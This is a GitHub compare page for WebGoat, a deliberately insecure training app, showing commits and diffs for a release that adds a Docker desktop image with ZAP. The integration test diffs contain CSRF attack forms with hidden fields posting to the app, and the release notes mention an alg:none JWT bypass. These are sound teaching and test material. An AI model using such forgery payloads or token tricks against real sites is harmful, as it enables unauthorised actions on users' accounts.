Compare commits

...

36 Commits

Author SHA1 Message Date
3fd66ee9d9 chore: release version 2023.4 2023-02-17 13:13:35 +01:00
0f38519ecf ci: add step for pushing Docker desktop image 2023-02-17 12:56:43 +01:00
4c95c9ec6a ci: add step to build and verify Docker image 2023-02-17 12:56:43 +01:00
f6c7a54931 docs: add screenshot to README and add Docker WebGoat desktop text 2023-02-17 12:56:43 +01:00
f1012c85d6 feat: add Docker desktop version of WebGoat with all tools installed
The new Docker image uses linuxserver/webtop giving users the opportunity
to run a Linux desktop in their browser without installing any tools
on their local machine.
2023-02-17 12:56:43 +01:00
ecfc321f14 feature: Add extra feedback once someone solves JWT refresh lesson differently
One can solve this lesson by using `alg:none` instead of using the refresh token flow. Instead of adding a check to force using the refresh token we opt for giving the user extra feedback.
2023-02-16 20:32:27 +00:00
73b8c431fc chore: use constructor instead of field dependency injection 2023-02-16 20:32:27 +00:00
b68adfbc7c Bump devops-infra/action-pull-request from 0.5.3 to 0.5.5
Bumps [devops-infra/action-pull-request](https://github.com/devops-infra/action-pull-request) from 0.5.3 to 0.5.5.
- [Release notes](https://github.com/devops-infra/action-pull-request/releases)
- [Commits](https://github.com/devops-infra/action-pull-request/compare/v0.5.3...v0.5.5)

---
updated-dependencies:
- dependency-name: devops-infra/action-pull-request
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-16 14:09:05 +00:00
1a2855afcd chore: set directories explicitly when running IT tests 2023-02-16 12:24:02 +00:00
693771220c fix: change url in JavaScript for JWT endpoint
The JavaScript pointed to the context root /WebWolf/ which is no longer in use.
2023-02-16 12:24:02 +00:00
075b1ab30a Fix WebWolf JWT tool 2023-02-15 22:40:24 +00:00
390ff39f19 chore: format src/test/it as well 2023-02-15 19:01:06 +00:00
3ec34b0df5 fix: challenge test fails sometimes when calling scoreboard endpoint 2023-02-15 19:01:06 +00:00
eb4c8388f8 Update Dockerfile 2023-02-15 12:11:12 +00:00
ae081ce319 Add fileserver location (test) 2023-02-15 12:00:54 +00:00
bd398e4c09 #1396 Fix templates path for views 2023-02-15 11:58:49 +00:00
c9d1653d4f Bump docker/build-push-action from 3.2.0 to 4.0.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.2.0 to 4.0.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.2.0...v4.0.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:39:35 +01:00
77c91b8df8 Bump actions/cache from 3.2.3 to 3.2.5
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.3 to 3.2.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.3...v3.2.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:38:56 +01:00
f9b810c5ee Fix formatting issue 2023-01-14 18:29:24 +01:00
dc0fc09679 Move to main and skip develop
Using main and develop imposes a complicated release process with Gitflow etc. To simplify our release process we move our development to the main branch skipping develop.
2023-01-14 18:24:35 +01:00
a0173fd8f8 Merge branch 'develop' 2023-01-14 17:07:37 +01:00
58e7e9d4ef Bump actions/cache from 3.2.2 to 3.2.3
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.2 to 3.2.3.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.2...v3.2.3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-01-11 20:59:09 +01:00
c7a41d1b17 Merge branch 'release/v2023.3' into develop 2023-01-05 21:59:37 +01:00
edd9aa36c2 Merge branch 'release/v2023.3' 2023-01-05 21:59:29 +01:00
27fe1850de Preparing new release 2023-01-05 21:59:01 +01:00
5c2bbd1227 Fix jar path while creating a release 2023-01-05 21:57:08 +01:00
683b629663 Back to snapshot 2023-01-05 21:52:40 +01:00
04908a81e7 Add change log URL 2023-01-05 21:51:45 +01:00
701de68ef2 Merge branch 'release/v2023.2' into develop 2023-01-05 21:37:28 +01:00
81ed738493 Merge branch 'release/v2023.2' 2023-01-05 21:37:21 +01:00
c03d153978 New release 2023-01-05 21:36:48 +01:00
6ab04db2ee Merge branch 'release/v2023.1' into develop 2023-01-05 21:06:36 +01:00
a108a937b5 Merge branch 'release/v2023.1' 2023-01-05 21:06:22 +01:00
6d5ea57606 New release 2023-01-05 21:02:26 +01:00
79fd88eeb6 Use Java 17 2023-01-05 21:00:43 +01:00
64b10c1a59 Merge branch 'release/v2023.0' into develop 2023-01-05 20:52:02 +01:00
50 changed files with 2445 additions and 1997 deletions

View File

@ -1,3 +1,4 @@
** **
!/target !/target
!/config/desktop

View File

@ -1,21 +1,10 @@
name: "Build" name: "Pull requests build"
on: on:
pull_request: pull_request:
paths-ignore: paths-ignore:
- '.txt' - '.txt'
- 'LICENSE' - 'LICENSE'
- 'docs/**' - 'docs/**'
push:
branches:
- main
- develop
- release/*
tags-ignore:
- '*'
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
jobs: jobs:
pr-build: pr-build:
@ -38,31 +27,34 @@ jobs:
java-version: 17 java-version: 17
architecture: x64 architecture: x64
- name: Cache Maven packages - name: Cache Maven packages
uses: actions/cache@v3.2.2 uses: actions/cache@v3.2.5
with: with:
path: ~/.m2 path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2- restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven - name: Build with Maven
run: mvn --no-transfer-progress verify run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
build: if: runner.os == 'Linux'
if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push' uses: docker/setup-qemu-action@v2.1.0
runs-on: ubuntu-latest - name: "Set up Docker Buildx"
name: "Branch build" if: runner.os == 'Linux'
steps: uses: docker/setup-buildx-action@v2
- uses: actions/checkout@v3 - name: "Verify Docker WebGoat build"
- name: set up JDK 17 if: runner.os == 'Linux'
uses: actions/setup-java@v3 uses: docker/build-push-action@v4.0.0
with: with:
distribution: 'temurin' context: ./
java-version: 17 file: ./Dockerfile
architecture: x64 push: false
- name: Cache Maven packages build-args: |
uses: actions/cache@v3.2.2 webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v4.0.0
if: runner.os == 'Linux'
with: with:
path: ~/.m2 context: ./
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} file: ./Dockerfile_desktop
restore-keys: ubuntu-latest-m2- push: false
- name: Test with Maven build-args: |
run: mvn --no-transfer-progress verify webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

View File

@ -13,19 +13,15 @@ jobs:
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v3
- name: "Get tag name" - name: Set up JDK 17
id: tag
uses: dawidd6/action-get-tag@v1
- name: Set up JDK 15
uses: actions/setup-java@v3 uses: actions/setup-java@v3
with: with:
distribution: 'zulu' distribution: 'temurin'
java-version: 15 java-version: 17
architecture: x64 architecture: x64
- name: Cache Maven packages - name: Cache Maven packages
uses: actions/cache@v3.2.2 uses: actions/cache@v3.2.5
with: with:
path: ~/.m2 path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@ -33,8 +29,8 @@ jobs:
- name: "Set labels for ${{ github.ref }}" - name: "Set labels for ${{ github.ref }}"
run: | run: |
echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }} WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
- name: Build with Maven - name: Build with Maven
run: | run: |
@ -46,7 +42,7 @@ jobs:
with: with:
draft: false draft: false
files: | files: |
webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: | body: |
## Version ${{ steps.tag.outputs.tag }} ## Version ${{ steps.tag.outputs.tag }}
@ -58,6 +54,8 @@ jobs:
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}
## Contributors ## Contributors
@ -87,8 +85,8 @@ jobs:
username: ${{ secrets.DOCKERHUB_USERNAME }} username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push" - name: "Build and push WebGoat"
uses: docker/build-push-action@v3.2.0 uses: docker/build-push-action@v4.0.0
with: with:
context: ./ context: ./
file: ./Dockerfile file: ./Dockerfile
@ -100,22 +98,27 @@ jobs:
build-args: | build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Image digest" - name: "Build and push WebGoat desktop"
run: echo ${{ steps.docker_build.outputs.digest }} uses: docker/build-push-action@v4.0.0
with:
context: ./
file: ./Dockerfile_desktop
push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7
tags: |
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat-desktop:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
new_version: new_version:
permissions:
contents: write # for Git to git push
if: github.repository == 'WebGoat/WebGoat' if: github.repository == 'WebGoat/WebGoat'
name: Update development version name: Update to next SNAPSHOT version
needs: [ release ] needs: [ release ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
environment:
name: release
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v3
with: with:
ref: develop fetch-depth: 0
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
- name: Set up JDK 17 - name: Set up JDK 17
uses: actions/setup-java@v3 uses: actions/setup-java@v3
@ -125,12 +128,20 @@ jobs:
- name: Set version to next snapshot - name: Set version to next snapshot
run: | run: |
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.9.2
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true
commit_message: "Updating to the new development version"
force: false
- name: Create PR
uses: devops-infra/action-pull-request@v0.5.5
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }}
target_branch: main
- name: Commit pom.xml
run: |
git config user.name webgoat-github
git config user.email owasp.webgoat@gmail.com
find . -name 'pom.xml' | xargs git add
git commit -m "Updating to the new development version"
git push

View File

@ -2,14 +2,11 @@ name: "UI-Test"
on: on:
pull_request: pull_request:
paths-ignore: paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE' - 'LICENSE'
- 'docs/**' - 'docs/**'
push: push:
# tags-ignore: tags-ignore:
# - '*' - 'v*'
paths-ignore: paths-ignore:
- '.txt' - '.txt'
- '*.MD' - '*.MD'
@ -40,7 +37,7 @@ jobs:
architecture: x64 architecture: x64
#Uses an action to set up a cache using a certain key based on the hash of the dependencies #Uses an action to set up a cache using a certain key based on the hash of the dependencies
- name: Cache Maven packages - name: Cache Maven packages
uses: actions/cache@v3.2.2 uses: actions/cache@v3.2.5
with: with:
path: ~/.m2 path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}

View File

@ -86,7 +86,7 @@ For example: `Fix #545` or `Closes #10`
```bash ```bash
$ git fetch upstream $ git fetch upstream
$ git merge upstream/develop $ git merge upstream/main
``` ```
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")". See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

View File

@ -2,31 +2,20 @@
### Version numbers ### Version numbers
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use and 2023.01 in the `pom.xml`.
`v8.0.0` in the `pom.xml`
### Release notes: ### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
committers. committers.
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
``` ```
git checkout develop mvn versions:set
git flow release start <version> << update release notes >>
git flow release publish mvn verify
git commit ....
<<Make changes if necessary>> git tag v2023.01
<<Update RELEASE_NOTES.md>>
git flow release finish <version>
git push origin develop
git push origin main
git push --tags git push --tags
``` ```
Now Travis takes over and will create the release in Github and on Docker Hub.
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version

View File

@ -1,8 +1,11 @@
FROM docker.io/eclipse-temurin:17-jre-focal FROM docker.io/eclipse-temurin:17-jre-focal
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team"
RUN useradd -ms /bin/bash webgoat RUN \
RUN chgrp -R 0 /home/webgoat useradd -ms /bin/bash webgoat && \
RUN chmod -R g=u /home/webgoat chgrp -R 0 /home/webgoat && \
chmod -R g=u /home/webgoat
USER webgoat USER webgoat

29
Dockerfile_desktop Normal file
View File

@ -0,0 +1,29 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team"
WORKDIR /config
COPY target/webgoat-*.jar /config/webgoat.jar
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
rm -rf ZAP_2.12.0_Linux.tar.gz && \
curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
tar zfxv OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
rm -rf OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \
apt-get update && \
apt-get --yes install vim nano && \
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
WORKDIR /config/Desktop

View File

@ -27,24 +27,26 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.* first thing that all hackers claim.*
![WebGoat](docs/images/webgoat.png)
# Installation instructions: # Installation instructions:
For more details check [the Contribution guide](/CONTRIBUTING.md) For more details check [the Contribution guide](/CONTRIBUTING.md)
## 1. Run using Docker ## 1. Run using Docker
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat). Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
```shell ```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
``` ```
If you want to reuse the container, give it a name: If you want to reuse the container, give it a name:
```shell ```shell
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
``` ```
As long as you don't remove the container you can use: As long as you don't remove the container you can use:
@ -55,19 +57,25 @@ docker start webgoat
This way, you can start where you left off. If you remove the container, you need to use `docker run` again. This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.* ## 2. Run using Docker with complete Linux Desktop
## 2. Standalone Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
```shell
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
```
## 3. Standalone
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell ```shell
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.0.jar java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
``` ```
Click the link in the log to start WebGoat. Click the link in the log to start WebGoat.
## 3. Run from the sources ## 4. Run from the sources
### Prerequisites: ### Prerequisites:
@ -96,7 +104,7 @@ git checkout <<branch_name>>
docker build -f Dockerfile . -t webgoat/webgoat docker build -f Dockerfile . -t webgoat/webgoat
``` ```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot. Now we are ready to run the project. WebGoat is using Spring Boot.
```Shell ```Shell
# On Linux/Mac: # On Linux/Mac:
@ -125,12 +133,12 @@ For instance running as a jar on a Linux/macOS it will look like this:
```Shell ```Shell
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar target/webgoat-2023.0-SNAPSHOT.jar java -jar target/webgoat-2023.3-SNAPSHOT.jar
``` ```
Or in a docker run it would (once this version is pushed into docker hub) look like this: Or in a docker run it would (once this version is pushed into docker hub) look like this:
```Shell ```Shell
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
``` ```

View File

@ -1,8 +1,21 @@
# WebGoat release notes # WebGoat release notes
## Version 2023.0 ## Version 2023.4
With great pleasure, we present you with a new release of WebGoat **2023.0**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme). ### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
many more releases this year. many more releases this year.
@ -34,7 +47,6 @@ many more releases this year.
### Bug fixes ### Bug fixes
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193) - [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176) - [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134) - [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)

View File

@ -0,0 +1,10 @@
** Welcome to WebGoat desktop image
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
You can start WebGoat and ZAP by opening a terminal and type:
./start-webgoat.sh
./start_zap.sh
Happy hacking,
Team WebGoat

View File

@ -0,0 +1,17 @@
#!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java \
-Duser.home=/config \
-Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.beans=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
-Drunning.in.docker=false \
-jar /config/webgoat.jar

View File

@ -0,0 +1,3 @@
#!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar

BIN
docs/images/webgoat.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 319 KiB

12
pom.xml
View File

@ -10,7 +10,7 @@
</parent> </parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat</artifactId> <artifactId>webgoat</artifactId>
<version>2023.0</version> <version>2023.4</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>WebGoat</name> <name>WebGoat</name>
@ -536,6 +536,11 @@
<flexmark></flexmark> <flexmark></flexmark>
</markdown> </markdown>
<java> <java>
<includes>
<include>src/main/java/**/*.java</include>
<include>src/test/java/**/*.java</include>
<include>src/it/java/**/*.java</include>
</includes>
<removeUnusedImports></removeUnusedImports> <removeUnusedImports></removeUnusedImports>
<googleJavaFormat> <googleJavaFormat>
<style>GOOGLE</style> <style>GOOGLE</style>
@ -650,8 +655,9 @@
<argument>java</argument> <argument>java</argument>
<argument>-jar</argument> <argument>-jar</argument>
<argument>-Dlogging.pattern.console=</argument> <argument>-Dlogging.pattern.console=</argument>
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dspring.main.banner-mode=off</argument> <argument>-Dspring.main.banner-mode=off</argument>
<argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
<argument>-Dwebgoat.port=${webgoat.port}</argument> <argument>-Dwebgoat.port=${webgoat.port}</argument>
<argument>-Dwebwolf.port=${webwolf.port}</argument> <argument>-Dwebwolf.port=${webwolf.port}</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
@ -675,7 +681,7 @@
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument> <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
</arguments> </arguments>
<waitForInterrupt>false</waitForInterrupt> <waitForInterrupt>false</waitForInterrupt>
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl> <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
</configuration> </configuration>
</execution> </execution>
<execution> <execution>

View File

@ -1,13 +1,11 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.Map;
import org.apache.http.HttpStatus; import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import java.util.Map;
class AccessControlIntegrationTest extends IntegrationTest { class AccessControlIntegrationTest extends IntegrationTest {
@Test @Test
@ -32,7 +30,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
.statusCode(HttpStatus.SC_FORBIDDEN); .statusCode(HttpStatus.SC_FORBIDDEN);
// create user // create user
var userTemplate = """ var userTemplate =
"""
{"username":"%s","password":"%s","admin": "true"} {"username":"%s","password":"%s","admin": "true"}
"""; """;
RestAssured.given() RestAssured.given()
@ -59,7 +58,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
.jsonPath() .jsonPath()
.get("find { it.username == \"Jerry\" }.userHash"); .get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true); checkAssignment(
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
} }
private void assignment2() { private void assignment2() {

View File

@ -1,8 +1,18 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.Data; import lombok.Data;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
@ -11,45 +21,41 @@ import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment; import org.owasp.webgoat.container.lessons.Assignment;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
public class CSRFIntegrationTest extends IntegrationTest { public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" + private static final String trickHTML3 =
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" + + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
"</form></body></html>"; + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+ "</form></body></html>";
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" + private static final String trickHTML4 =
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" + + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
